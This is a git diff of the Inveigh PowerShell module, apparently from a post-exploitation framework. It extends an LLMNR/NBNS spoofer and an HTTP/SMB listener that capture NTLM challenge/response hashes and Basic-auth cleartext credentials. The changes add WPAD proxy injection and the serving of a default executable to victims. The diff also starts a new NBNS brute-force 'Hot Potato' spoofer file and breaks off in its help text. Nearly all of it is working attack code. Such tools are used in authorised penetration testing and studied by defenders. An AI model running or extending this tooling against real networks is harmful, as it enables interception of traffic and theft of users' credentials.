Spoofing Of Types $NBNSTypes_output Enabled")|Out-Null } - + + $inveigh.status_queue.add("NBNS TTL = $NBNSTTL Seconds")|Out-Null $NBNS_response_message = "- spoofed response has been sent" } else @@ -302,17 +464,46 @@ else $NBNS_response_message = "- NBNS spoofing is disabled" } -if($Repeat -eq 'n') +if($SpooferHostsReply -and ($LLMNR -eq 'y' -or $NBNS -eq 'y')) +{ + $inveigh.status_queue.add("Spoofing requests for " + $SpooferHostsReply -join ",")|Out-Null +} + +if($SpooferHostsIgnore -and ($LLMNR -eq 'y' -or $NBNS -eq 'y')) { - $inveigh.repeat = $false - $inveigh.status_queue.add("Spoof Repeating Disabled")|Out-Null + $inveigh.status_queue.add("Ignoring requests for " + $SpooferHostsIgnore -join ",")|Out-Null +} + +if($SpooferIPsReply -and ($LLMNR -eq 'y' -or $NBNS -eq 'y')) +{ + $inveigh.status_queue.add("Spoofing requests from " + $SpooferIPsReply -join ",")|Out-Null +} + +if($SpooferIPsIgnore -and ($LLMNR -eq 'y' -or $NBNS -eq 'y')) +{ + $inveigh.status_queue.add("Ignoring requests from " + $SpooferIPsIgnore -join ",")|Out-Null +} + +if($SpooferRepeat -eq 'n') +{ + $inveigh.spoofer_repeat = $false + $inveigh.status_queue.add("Spoofer Repeating Disabled")|Out-Null } else { - $inveigh.repeat = $true + $inveigh.spoofer_repeat = $true $inveigh.IP_capture_list = @() } +if($SMB -eq 'y') +{ + $inveigh.status_queue.add("SMB Capture Enabled")|Out-Null +} +else +{ + $inveigh.status_queue.add("SMB Capture Disabled")|Out-Null +} + if($HTTP -eq 'y') { $inveigh.HTTP = $true @@ -332,10 +523,13 @@ if($HTTPS -eq 'y') $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") $certificate_store.Open('ReadWrite') $certificate = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 - $certificate.Import($PWD.Path + "\inveigh.pfx") + $certificate.Import($PWD.Path + "\Inveigh.pfx") $certificate_store.Add($certificate) $certificate_store.Close() - Invoke-Expression -command ("netsh http add sslcert ipport=0.0.0.0:443 certhash=" + $inveigh.certificate_thumbprint + " appid='{00112233-4455-6677-8899-AABBCCDDEEFF}'") > $null + $netsh_certhash = "certhash=" + $inveigh.certificate_thumbprint + $netsh_app_ID = "appid={" + $inveigh.certificate_application_ID + "}" + $netsh_arguments = @("http","add","sslcert","ipport=0.0.0.0:443",$netsh_certhash,$netsh_app_ID) + & "netsh" $netsh_arguments > $null $inveigh.status_queue.add("HTTPS Capture Enabled")|Out-Null } catch @@ -351,18 +545,66 @@ else $inveigh.status_queue.add("HTTPS Capture Disabled")|Out-Null } -if($Challenge) +if($inveigh.HTTP -or $inveigh.HTTPS) { - $inveigh.status_queue.add("NTLM Challenge = $Challenge")|Out-Null -} + $inveigh.status_queue.add("HTTP/HTTPS Authentication = $HTTPAuth")|Out-Null + $inveigh.status_queue.add("WPAD Authentication = $WPADAuth")|Out-Null + + if($HTTPDir -and !$HTTPResponse) + { + $inveigh.status_queue.add("HTTP/HTTPS Directory = $HTTPDir")|Out-Null + + if($HTTPDefaultFile) + { + $inveigh.status_queue.add("HTTP/HTTPS Default Response File = $HTTPDefaultFile")|Out-Null + } + + if($HTTPDefaultEXE) + { + $inveigh.status_queue.add("HTTP/HTTPS Default Response Executable = $HTTPDefaultEXE")|Out-Null + } + } + + if($HTTPResponse) + { + $inveigh.status_queue.add("HTTP/HTTPS Custom Response Enabled")|Out-Null + } + + if($HTTPAuth -eq 'Basic' -or $WPADAuth -eq 'Basic') + { + $inveigh.status_queue.add("Basic Authentication Realm = $HTTPBasicRealm")|Out-Null + } + + if($WPADIP -and $WPADPort) + { + $inveigh.status_queue.add("WPAD = $WPADIP`:$WPADPort")|Out-Null + + if($WPADDirectHosts) + { + ForEach($WPAD_direct_host in $WPADDirectHosts) + { + $WPAD_direct_hosts_function += 'if (dnsDomainIs(host, "' + $WPAD_direct_host + '")) return "DIRECT";' + } + + $inveigh.WPAD_response = "function FindProxyForURL(url,host){" + $WPAD_direct_hosts_function + "return `"PROXY " + $WPADIP + ":" + $WPADPort + "`";}" + $inveigh.status_queue.add("WPAD Direct Hosts = " + $WPADDirectHosts -join ",")|Out-Null + } + else + { + $inveigh.WPAD_response = "function FindProxyForURL(url,host){return `"PROXY " + $WPADIP + ":" + $WPADPort + "`";}" + } + } + elseif($WPADResponse -and !$WPADIP -and !$WPADPort) + { + $inveigh.status_queue.add("WPAD Custom Response Enabled")|Out-Null + $inveigh.WPAD_response = $WPADResponse + } + + if($Challenge) + { + $inveigh.status_queue.add("NTLM Challenge = $Challenge")|Out-Null + } -if($SMB -eq 'y') -{ - $inveigh.status_queue.add("SMB Capture Enabled")|Out-Null -} -else -{ - $inveigh.status_queue.add("SMB Capture Disabled")|Out-Null } if($MachineAccounts -eq 'n') @@ -370,15 +612,6 @@ if($MachineAccounts -eq 'n') $inveigh.status_queue.add("Ignoring Machine Accounts")|Out-Null } -if($ForceWPADAuth -eq 'y') -{ - $inveigh.status_queue.add("Force WPAD Authentication Enabled")|Out-Null -} -else -{ - $inveigh.status_queue.add("Force WPAD Authentication Disabled")|Out-Null -} - if($ConsoleOutput -eq 'y') { $inveigh.status_queue.add("Real Time Console Output Enabled")|Out-Null @@ -418,7 +651,6 @@ elseif($RunTime -gt 1) if($SMBRelay -eq 'n') { - if($ShowHelp -eq 'y') { $inveigh.status_queue.add("Use Get-Command -Noun Inveigh* to show available functions")|Out-Null @@ -429,6 +661,7 @@ if($SMBRelay -eq 'n') $inveigh.status_queue.add("Press any key to stop real time console output")|Out-Null } } + if($inveigh.status_output) { while($inveigh.status_queue.Count -gt 0) @@ -459,7 +692,7 @@ if($SMBRelay -eq 'n') } else { - Invoke-InveighRelay -HTTP $HTTP -HTTPS $HTTPS -SMBRelayTarget $SMBRelayTarget -SMBRelayUsernames $SMBRelayUsernames -SMBRelayAutoDisable $SMBRelayAutoDisable -SMBRelayNetworkTimeout $SMBRelayNetworkTimeout -MachineAccounts $MachineAccounts -SMBRelayCommand $SMBRelayCommand -Tool $Tool -ShowHelp $ShowHelp + Invoke-InveighRelay -HTTP $HTTP -HTTPS $HTTPS -HTTPSCertAppID $HTTPSCertAppID -HTTPSCertThumbprint $HTTPSCertThumbprint -WPADAuth $WPADAuth -SMBRelayTarget $SMBRelayTarget -SMBRelayUsernames $SMBRelayUsernames -SMBRelayAutoDisable $SMBRelayAutoDisable -SMBRelayNetworkTimeout $SMBRelayNetworkTimeout -MachineAccounts $MachineAccounts -SMBRelayCommand $SMBRelayCommand -Tool $Tool -ShowHelp $ShowHelp } # Begin ScriptBlocks @@ -493,7 +726,7 @@ $shared_basic_functions_scriptblock = $string_data = [System.BitConverter]::ToString($string_extract_data[($string_start+$string2_length+$string3_length)..($string_start+$string_length+$string2_length+$string3_length-1)]) $string_data = $string_data -replace "-00","" - $string_data = $string_data.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $string_data = $string_data.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} $string_extract = New-Object System.String ($string_data,0,$string_data.Length) return $string_extract } @@ -583,11 +816,10 @@ $SMB_NTLM_functions_scriptblock = { $inveigh.console_queue.add("SMB NTLMv1 challenge/response written to " + $inveigh.NTLMv1_out_file) } - } } - if (($inveigh.IP_capture_list -notcontains $source_IP) -and (-not $NTLM_user_string.EndsWith('$')) -and (!$inveigh.repeat) -and ($source_IP -ne $IP)) + if (($inveigh.IP_capture_list -notcontains $source_IP) -and (-not $NTLM_user_string.EndsWith('$')) -and (!$inveigh.spoofer_repeat) -and ($source_IP -ne $IP)) { $inveigh.IP_capture_list += $source_IP } @@ -599,7 +831,7 @@ $SMB_NTLM_functions_scriptblock = # HTTP/HTTPS Server ScriptBlock - HTTP/HTTPS listener $HTTP_scriptblock = { - param ($MachineAccounts,$ForceWPADAuth) + param ($HTTPAuth,$HTTPBasicRealm,$MachineAccounts,$WPADAuth) Function NTLMChallengeBase64 { @@ -607,19 +839,19 @@ $HTTP_scriptblock = $HTTP_timestamp = Get-Date $HTTP_timestamp = $HTTP_timestamp.ToFileTime() $HTTP_timestamp = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_timestamp)) - $HTTP_timestamp = $HTTP_timestamp.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $HTTP_timestamp = $HTTP_timestamp.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} - if($Inveigh.challenge) + if($inveigh.challenge) { - $HTTP_challenge = $Inveigh.challenge - $HTTP_challenge_bytes = $Inveigh.challenge.Insert(2,'-').Insert(5,'-').Insert(8,'-').Insert(11,'-').Insert(14,'-').Insert(17,'-').Insert(20,'-') - $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $HTTP_challenge = $inveigh.challenge + $HTTP_challenge_bytes = $inveigh.challenge.Insert(2,'-').Insert(5,'-').Insert(8,'-').Insert(11,'-').Insert(14,'-').Insert(17,'-').Insert(20,'-') + $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} } else { - $HTTP_challenge_bytes = [String](1..8 | % {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $HTTP_challenge_bytes = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) $HTTP_challenge = $HTTP_challenge_bytes -replace ' ', '' - $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split(" ") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split(" ") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} } $inveigh.HTTP_challenge_queue.Add($inveigh.request.RemoteEndpoint.Address.IPAddressToString + $inveigh.request.RemoteEndpoint.Port + ',' + $HTTP_challenge) |Out-Null @@ -647,8 +879,57 @@ $HTTP_scriptblock = $inveigh.context = $inveigh.HTTP_listener.GetContext() $inveigh.request = $inveigh.context.Request $inveigh.response = $inveigh.context.Response - $inveigh.message = '' + + if($inveigh.HTTP_directory -and $inveigh.HTTP_default_EXE -and ($inveigh.request.RawUrl -like '*.exe') -and (Test-Path (Join-Path $inveigh.HTTP_directory $inveigh.HTTP_default_EXE)) -and !(Test-Path (Join-Path $inveigh.HTTP_directory $inveigh.request.RawUrl))) + { + [byte[]] $HTTP_buffer = [System.IO.File]::ReadAllBytes((Join-Path $inveigh.HTTP_directory $inveigh.HTTP_default_EXE)) + } + elseif($inveigh.HTTP_directory) + { + if(($inveigh.HTTP_default_file) -and !(Test-Path (Join-Path $inveigh.HTTP_directory $inveigh.request.RawUrl)) -and (Test-Path (Join-Path $inveigh.HTTP_directory $inveigh.HTTP_default_file)) -and ($inveigh.request.RawUrl -notmatch '/wpad.dat')) + { + [byte[]] $HTTP_buffer = [System.IO.File]::ReadAllBytes((Join-Path $inveigh.HTTP_directory $inveigh.HTTP_default_file)) + } + elseif(($inveigh.HTTP_default_file) -and ($inveigh.request.RawUrl -eq '/') -and (Test-Path (Join-Path $inveigh.HTTP_directory $inveigh.HTTP_default_file))) + { + [byte[]] $HTTP_buffer = [System.IO.File]::ReadAllBytes((Join-Path $inveigh.HTTP_directory $inveigh.HTTP_default_file)) + } + elseif(($inveigh.WPAD_response) -and ($inveigh.request.RawUrl -match '/wpad.dat')) + { + [byte[]] $HTTP_buffer = [System.Text.Encoding]::UTF8.GetBytes($inveigh.WPAD_response) + } + else + { + if(Test-Path (Join-Path $inveigh.HTTP_directory $inveigh.request.RawUrl)) + { + [byte[]] $HTTP_buffer = [System.IO.File]::ReadAllBytes((Join-Path $inveigh.HTTP_directory $inveigh.request.RawUrl)) + } + else + { + [byte[]] $HTTP_buffer = [System.Text.Encoding]::UTF8.GetBytes($inveigh.HTTP_response) + } + } + } + else + { + if($inveigh.HTTP_response) + { + $inveigh.message = $inveigh.HTTP_response + } + elseif($inveigh.request.RawUrl -match '/wpad.dat') + { + $inveigh.message = $inveigh.WPAD_response + } + else + { + $inveigh.message = '' + } + + [byte[]] $HTTP_buffer = [System.Text.Encoding]::UTF8.GetBytes($inveigh.message) + } + $NTLM = 'NTLM' + $NTLM_auth = $false if($inveigh.request.IsSecureConnection) { @@ -659,8 +940,7 @@ $HTTP_scriptblock = $HTTP_type = "HTTP" } - - if (($inveigh.request.RawUrl -match '/wpad.dat') -and ($ForceWPADAuth -eq 'n')) + if(($inveigh.request.RawUrl -match '/wpad.dat') -and ($WPADAuth -eq 'Anonymous')) { $inveigh.response.StatusCode = 200 } @@ -668,6 +948,12 @@ $HTTP_scriptblock = { $inveigh.response.StatusCode = 401 } + + if (!$inveigh.request.headers["Authorization"]) + { + $inveigh.console_queue.add("$(Get-Date -format 's') - $HTTP_type request for " + $inveigh.request.RawUrl + " received from " + $inveigh.request.RemoteEndpoint.Address) + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_type request for " + $inveigh.request.RawUrl + " received from " + $inveigh.request.RemoteEndpoint.Address)]) + } [string]$authentication_header = $inveigh.request.headers.getvalues('Authorization') @@ -680,7 +966,7 @@ $HTTP_scriptblock = if($HTTP_request_bytes[8] -eq 1) { $inveigh.response.StatusCode = 401 - $NTLM = NTLMChallengeBase64 + $NTLM = NTLMChallengeBase64 } elseif($HTTP_request_bytes[8] -eq 3) { @@ -729,7 +1015,7 @@ $HTTP_scriptblock = } } - if (($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address) -and (-not $HTTP_NTLM_user_string.EndsWith('$')) -and (!$inveigh.repeat)) + if (($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address) -and (-not $HTTP_NTLM_user_string.EndsWith('$')) -and (!$inveigh.spoofer_repeat)) { $inveigh.IP_capture_list += $inveigh.request.RemoteEndpoint.Address } @@ -751,30 +1037,54 @@ $HTTP_scriptblock = if($inveigh.file_output) { $inveigh.console_queue.add("$HTTP_type NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) - } - + } } - if (($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address) -and (-not $HTTP_NTLM_user_string.EndsWith('$')) -and (!$inveigh.repeat)) + if (($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address) -and (-not $HTTP_NTLM_user_string.EndsWith('$')) -and (!$inveigh.spoofer_repeat)) { $inveigh.IP_capture_list += $inveigh.request.RemoteEndpoint.Address } } $inveigh.response.StatusCode = 200 + $NTLM_auth = $true $NTLM_challenge = '' - } else { $NTLM = 'NTLM' } - } - - [byte[]] $HTTP_buffer = [System.Text.Encoding]::UTF8.GetBytes($inveigh.message) + elseif($authentication_header.startswith('Basic ')) # Thanks to @xorrior for the initial basic auth code + { + $inveigh.response.StatusCode = 200 + $authentication_header = $authentication_header -replace 'Basic ','' + $cleartext_credentials = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($authentication_header)) + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Basic auth cleartext credentials captured from " + $inveigh.request.RemoteEndpoint.address)]) + $inveigh.cleartext_file_queue.add($cleartext_credentials) + $inveigh.cleartext_list.add($cleartext_credentials) + $inveigh.console_queue.add("$(Get-Date -format 's') - Basic auth cleartext credentials $cleartext_credentials captured from " + $inveigh.request.RemoteEndpoint.address) + + if($inveigh.file_output) + { + $inveigh.console_queue.add("Basic auth cleartext credentials written to " + $inveigh.cleartext_out_file) + } + } + + if(($HTTPAuth -eq 'NTLM' -and $inveigh.request.RawUrl -notmatch '/wpad.dat') -or ($WPADAuth -eq 'NTLM' -and $inveigh.request.RawUrl -match '/wpad.dat') -and !$NTLM_auth) + { + $inveigh.response.AddHeader("WWW-Authenticate",$NTLM) + } + elseif(($HTTPAuth -eq 'Basic' -and $inveigh.request.RawUrl -notmatch '/wpad.dat') -or ($WPADAuth -eq 'Basic' -and $inveigh.request.RawUrl -match '/wpad.dat')) + { + $inveigh.response.AddHeader("WWW-Authenticate","Basic realm=$HTTPBasicRealm") + } + else + { + $inveigh.response.StatusCode = 200 + } + $inveigh.response.ContentLength64 = $HTTP_buffer.length - $inveigh.response.AddHeader("WWW-Authenticate",$NTLM) $HTTP_stream = $inveigh.response.OutputStream $HTTP_stream.write($HTTP_buffer, 0, $HTTP_buffer.length) $HTTP_stream.close() @@ -788,7 +1098,7 @@ $HTTP_scriptblock = # Sniffer/Spoofer ScriptBlock - LLMNR/NBNS Spoofer and SMB sniffer $sniffer_scriptblock = { - param ($LLMNR_response_message,$NBNS_response_message,$IP,$SpooferIP,$SMB,$LLMNR,$NBNS,$NBNSTypes,$SpoofList,$MachineAccounts,$ForceWPADAuth,$RunTime) + param ($LLMNR_response_message,$NBNS_response_message,$IP,$SpooferIP,$SMB,$LLMNR,$NBNS,$NBNSTypes,$SpooferHostsReply,$SpooferHostsIgnore,$SpooferIPsReply,$SpooferIPsIgnore,$MachineAccounts,$RunTime,$LLMNRTTL,$NBNSTTL) $byte_in = New-Object Byte[] 4 $byte_out = New-Object Byte[] 4 @@ -803,6 +1113,10 @@ $sniffer_scriptblock = $end_point = New-Object System.Net.IPEndpoint([Net.IPAddress]"$IP", 0) $inveigh.sniffer_socket.Bind($end_point) [void]$inveigh.sniffer_socket.IOControl([Net.Sockets.IOControlCode]::ReceiveAll,$byte_in,$byte_out) + $LLMNR_TTL_bytes = [BitConverter]::GetBytes($LLMNRTTL) + [array]::Reverse($LLMNR_TTL_bytes) + $NBNS_TTL_bytes = [BitConverter]::GetBytes($NBNSTTL) + [array]::Reverse($NBNS_TTL_bytes) if($RunTime) { @@ -905,7 +1219,8 @@ $sniffer_scriptblock = $UDP_length[0] += 16 [Byte[]]$NBNS_response_data = $payload_bytes[13..$payload_bytes.length]` - + (0x00,0x00,0x00,0xa5,0x00,0x06,0x00,0x00)` + + $NBNS_TTL_bytes` + + (0x00,0x06,0x00,0x00)` + ([IPAddress][String]([IPAddress]$SpooferIP)).GetAddressBytes()` + (0x00,0x00,0x00,0x00) @@ -950,7 +1265,7 @@ $sniffer_scriptblock = $NBNS_query = [System.BitConverter]::ToString($payload_bytes[13..($payload_bytes.length - 4)]) $NBNS_query = $NBNS_query -replace "-00","" - $NBNS_query = $NBNS_query.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $NBNS_query = $NBNS_query.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} $NBNS_query_string_encoded = New-Object System.String ($NBNS_query,0,$NBNS_query.Length) $NBNS_query_string_encoded = $NBNS_query_string_encoded.Substring(0,$NBNS_query_string_encoded.IndexOf("CA")) @@ -980,7 +1295,7 @@ $sniffer_scriptblock = { if($NBNSTypes -contains $NBNS_query_type) { - if ((!$Spooflist -or $SpoofList -contains $NBNS_query_string) -and $inveigh.IP_capture_list -notcontains $source_IP) + if ((!$SpooferHostsReply -or $SpooferHostsReply -contains $NBNS_query_string) -and (!$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $NBNS_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and $inveigh.IP_capture_list -notcontains $source_IP) { [void]$send_socket.sendTo( $NBNS_response_packet, $destination_point ) $send_socket.Close() @@ -988,9 +1303,21 @@ $sniffer_scriptblock = } else { - if($SpoofList -notcontains $NBNS_query_string) + if($SpooferHostsReply -and $SpooferHostsReply -notcontains $NBNS_query_string) + { + $NBNS_response_message = "- $NBNS_query_string is not on reply list" + } + elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $NBNS_query_string) + { + $NBNS_response_message = "- $NBNS_query_string is on ignore list" + } + elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) { - $NBNS_response_message = "- $NBNS_query_string not on spoof list" + $NBNS_response_message = "- $source_IP is not on reply list" + } + elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) + { + $NBNS_response_message = "- $source_IP is on ignore list" } else { @@ -1016,7 +1343,7 @@ $sniffer_scriptblock = [byte[]]$LLMNR_response_data = $payload_bytes[12..$payload_bytes.length] $LLMNR_response_data += $LLMNR_response_data` - + (0x00,0x00,0x00,0x1e)` + + $LLMNR_TTL_bytes` + (0x00,0x04)` + ([IPAddress][String]([IPAddress]$SpooferIP)).GetAddressBytes() @@ -1034,12 +1361,12 @@ $sniffer_scriptblock = $LLMNR_query = [System.BitConverter]::ToString($payload_bytes[13..($payload_bytes.length - 4)]) $LLMNR_query = $LLMNR_query -replace "-00","" - $LLMNR_query = $LLMNR_query.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $LLMNR_query = $LLMNR_query.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} $LLMNR_query_string = New-Object System.String ($LLMNR_query,0,$LLMNR_query.Length) if($LLMNR -eq 'y') { - if((!$Spooflist -or $SpoofList -contains $LLMNR_query_string) -and $inveigh.IP_capture_list -notcontains $source_IP) + if((!$SpooferHostsReply -or $SpooferHostsReply -contains $LLMNR_query_string) -and (!$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $LLMNR_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and $inveigh.IP_capture_list -notcontains $source_IP) { [void]$send_socket.sendTo( $LLMNR_response_packet, $destination_point ) $send_socket.Close( ) @@ -1047,9 +1374,21 @@ $sniffer_scriptblock = } else { - if($SpoofList -notcontains $LLMNR_query_string) + if($SpooferHostsReply -and $SpooferHostsReply -notcontains $LLMNR_query_string) + { + $LLMNR_response_message = "- $LLMNR_query_string is not on reply list" + } + elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $LLMNR_query_string) { - $LLMNR_response_message = "- $LLMNR_query_string not on spoof list" + $LLMNR_response_message = "- $LLMNR_query_string is on ignore list" + } + elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) + { + $LLMNR_response_message = "- $source_IP is not on reply list" + } + elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) + { + $LLMNR_response_message = "- $source_IP is on ignore list" } else { @@ -1077,23 +1416,28 @@ $sniffer_scriptblock = $inveigh.HTTP_listener.Close() } - $inveigh.console_queue.add("Inveigh auto-exited at $(Get-Date -format 's')") - $inveigh.log.add("$(Get-Date -format 's') - Inveigh auto-exited") - - if($inveigh.file_output) + if($inveigh.relay_running) { - "$(Get-Date -format 's') - Inveigh auto-exited"| Out-File $Inveigh.log_out_file -Append + $inveigh.console_queue.add("Inveigh Relay exited due to run time at $(Get-Date -format 's')") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Inveigh Relay exited due to run time")]) + Start-Sleep -m 5 + $inveigh.relay_running = $false } + + $inveigh.console_queue.add("Inveigh exited due to run time at $(Get-Date -format 's')") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Inveigh exited due to run time")]) + Start-Sleep -m 5 + $inveigh.running = $false if($inveigh.HTTPS) { - Invoke-Expression -command "netsh http delete sslcert ipport=0.0.0.0:443" > $null + & "netsh" http delete sslcert ipport=0.0.0.0:443 > $null try { $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") $certificate_store.Open('ReadWrite') - $certificate = $certificate_store.certificates.find("FindByThumbprint",$inveigh.certificate_thumbprint,$FALSE)[0] + $certificate = $certificate_store.certificates.find("FindByThumbprint",$inveigh.certificate_thumbprint,$false)[0] $certificate_store.Remove($certificate) $certificate_store.Close() } @@ -1112,12 +1456,9 @@ $sniffer_scriptblock = } } } - + $inveigh.HTTP = $false - $inveigh.HTTPS = $false - $inveigh.running = $false - $inveigh.relay_running = $false - + $inveigh.HTTPS = $false } } @@ -1140,6 +1481,12 @@ $sniffer_scriptblock = $inveigh.NTLMv2_file_queue[0]|Out-File $inveigh.NTLMv2_out_file -Append $inveigh.NTLMv2_file_queue.RemoveRange(0,1) } + + while($inveigh.cleartext_file_queue.Count -gt 0) + { + $inveigh.cleartext_file_queue[0]|Out-File $inveigh.cleartext_out_file -Append + $inveigh.cleartext_file_queue.RemoveRange(0,1) + } } } @@ -1175,12 +1522,10 @@ Function HTTPListener() $HTTP_powershell = [powershell]::Create() $HTTP_powershell.Runspace = $HTTP_runspace $HTTP_powershell.AddScript($shared_basic_functions_scriptblock) > $null - $HTTP_powershell.AddScript($SMB_relay_challenge_scriptblock) > $null - $HTTP_powershell.AddScript($SMB_relay_response_scriptblock) > $null - $HTTP_powershell.AddScript($SMB_relay_execute_scriptblock) > $null $HTTP_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null - $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($MachineAccounts).AddArgument($ForceWPADAuth) > $null - $HTTP_handle = $HTTP_powershell.BeginInvoke() + $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($HTTPAuth).AddArgument( + $HTTPBasicRealm).AddArgument($MachineAccounts).AddArgument($WPADAuth) > $null + $HTTP_powershell.BeginInvoke() > $null } # Sniffer/Spoofer Startup Function @@ -1195,9 +1540,10 @@ Function SnifferSpoofer() $sniffer_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null $sniffer_powershell.AddScript($sniffer_scriptblock).AddArgument($LLMNR_response_message).AddArgument( $NBNS_response_message).AddArgument($IP).AddArgument($SpooferIP).AddArgument($SMB).AddArgument( - $LLMNR).AddArgument($NBNS).AddArgument($NBNSTypes).AddArgument($SpoofList).AddArgument( - $MachineAccounts).AddArgument($ForceWPADAuth).AddArgument($RunTime) > $null - $sniffer_handle = $sniffer_powershell.BeginInvoke() + $LLMNR).AddArgument($NBNS).AddArgument($NBNSTypes).AddArgument($SpooferHostsReply).AddArgument( + $SpooferHostsIgnore).AddArgument($SpooferIPsReply).AddArgument($SpooferIPsIgnore).AddArgument( + $MachineAccounts).AddArgument($RunTime).AddArgument($LLMNRTTL).AddArgument($NBNSTTL) > $null + $sniffer_powershell.BeginInvoke() > $null } # End Startup Functions @@ -1215,7 +1561,7 @@ SnifferSpoofer if($inveigh.console_output) { - :console_loop while(($inveigh.running) -and ($inveigh.console_output)) + :console_loop while(($inveigh.running -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output)) { while($inveigh.console_queue.Count -gt 0) { @@ -1228,33 +1574,31 @@ if($inveigh.console_output) { switch -wildcard ($inveigh.console_queue[0]) { - "*local administrator*" + "Inveigh *exited *" { write-warning $inveigh.console_queue[0] $inveigh.console_queue.RemoveRange(0,1) } - "*NTLMv1 challenge/response written*" + "* written to *" { - if($inveigh.file_output) - { - write-warning $inveigh.console_queue[0] - } + if($inveigh.file_output) + { + write-warning $inveigh.console_queue[0] + } + $inveigh.console_queue.RemoveRange(0,1) } - "*NTLMv2 challenge/response written*" - { - if($inveigh.file_output) + "* for relay *" { write-warning $inveigh.console_queue[0] - } $inveigh.console_queue.RemoveRange(0,1) } - "* relay *" + "*SMB relay *" { write-warning $inveigh.console_queue[0] $inveigh.console_queue.RemoveRange(0,1) } - "Service *" + "* local administrator *" { write-warning $inveigh.console_queue[0] $inveigh.console_queue.RemoveRange(0,1) @@ -1281,4 +1625,4 @@ if($inveigh.console_output) } } -} +} \ No newline at end of file diff --git a/data/module_source/collection/Invoke-InveighBruteForce.ps1 b/data/module_source/collection/Invoke-InveighBruteForce.ps1 new file mode 100644 index 000000000..023eae479 --- /dev/null +++ b/data/module_source/collection/Invoke-InveighBruteForce.ps1 @@ -0,0 +1,1188 @@ +Function Invoke-InveighBruteForce +{ +<# +.SYNOPSIS +Invoke-InveighBruteForce is a remote (Hot Potato method)/unprivileged NBNS brute force spoofer. + +.DESCRIPTION +Invoke-InveighBruteForce is a remote (Hot Potato method)/unprivileged NBNS brute force spoofer with the following features: + + Targeted IPv4 NBNS brute force spoofer with granular control + NTLMv1/NTLMv2 challenge/response capture over HTTP + Granular control of console and file output + Run time control + +This function can be used to perform NBNS spoofing across subnets and/or perform NBNS spoofing without an elevated administrator or SYSTEM shell. + +.PARAMETER SpooferIP +Specify an IP address for NBNS spoofing. This parameter is only necessary when redirecting victims to a system other than the Inveigh Brute Force host. + +.PARAMETER SpooferTarget +Specify an IP address to target for brute force NBNS spoofing. + +.PARAMETER Hostname +Default = WPAD: Specify a hostname for NBNS spoofing. + +.PARAMETER NBNS +Default = Disabled: (Y/N) Enable/Disable NBNS spoofing. + +.PARAMETER NBNSPause +Default = Disabled: (Integer) Specify the number of seconds the NBNS brute force spoofer will stop spoofing after an incoming HTTP request is received. + +.PARAMETER NBNSTTL +Default = 165 Seconds: Specify a custom NBNS TTL in seconds for the response packet. + +.PARAMETER HTTP +Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture. + +.PARAMETER HTTPIP +Default = Any: Specify a TCP IP address for the HTTP listener. + +.PARAMETER HTTPPort +Default = 80: Specify a TCP port for the HTTP listener. + +.PARAMETER HTTPAuth +Default = NTLM: (Anonymous,Basic,NTLM) Specify the HTTP/HTTPS server authentication type. This setting does not apply to wpad.dat requests. + +.PARAMETER HTTPBasicRealm +Specify a realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth. + +.PARAMETER HTTPResponse +Specify a string or HTML to serve as the default HTTP/HTTPS response. This response will not be used for wpad.dat requests. Use PowerShell character escapes where necessary. + +.PARAMETER WPADAuth +Default = NTLM: 